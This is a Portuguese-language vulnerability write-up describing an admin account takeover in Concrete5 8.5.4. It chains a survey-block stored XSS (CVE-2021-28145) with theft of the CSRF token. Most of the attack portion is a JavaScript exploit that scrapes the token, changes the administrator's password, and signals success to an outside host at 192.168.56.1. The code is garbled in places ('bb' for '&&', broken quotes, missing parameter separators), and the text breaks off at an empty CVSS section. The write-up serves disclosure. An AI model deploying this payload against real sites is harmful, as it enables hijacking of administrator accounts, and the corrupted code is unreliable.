
Survey XSS combinado com CSRF leva à Tomada de Conta de Administrador no Concrete5 8.5.4
Um administrador do Concrete CMS em versões anteriores à 9 não precisava fornecer sua senha ao alterar a senha de outro usuário.
Em combinação com CVE-2021-28145 ("Concrete CMS (anteriormente concrete5) antes de 8.5.5 permite que usuários autenticados remotos realizem ataques XSS através de um bloco de enquete malicioso. Isso requer pelo menos privilégios de Editor": a correção foi incluída na versão 8.5.5.) é possível que um usuário com poucos privilégios, por exemplo, um desenvolvedor ou um usuário público capaz de criar enquetes, insira código JavaScript malicioso na aplicação web. Os resultados das enquetes podem ser revisados por um administrador em sua interface web em Relatórios > Enquetes. O código JavaScript malicioso também é executado lá. O Concrete5 possui uma proteção CSRF que pode ser contornada muito facilmente roubando o Token correspondente da página antes de executar uma requisição. Como o concrete5 não pede a senha antiga ao alterá-la, é possível alterar a senha do administrador com muita facilidade.
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
Pontuações CVSS:
Resultando em uma pontuação final de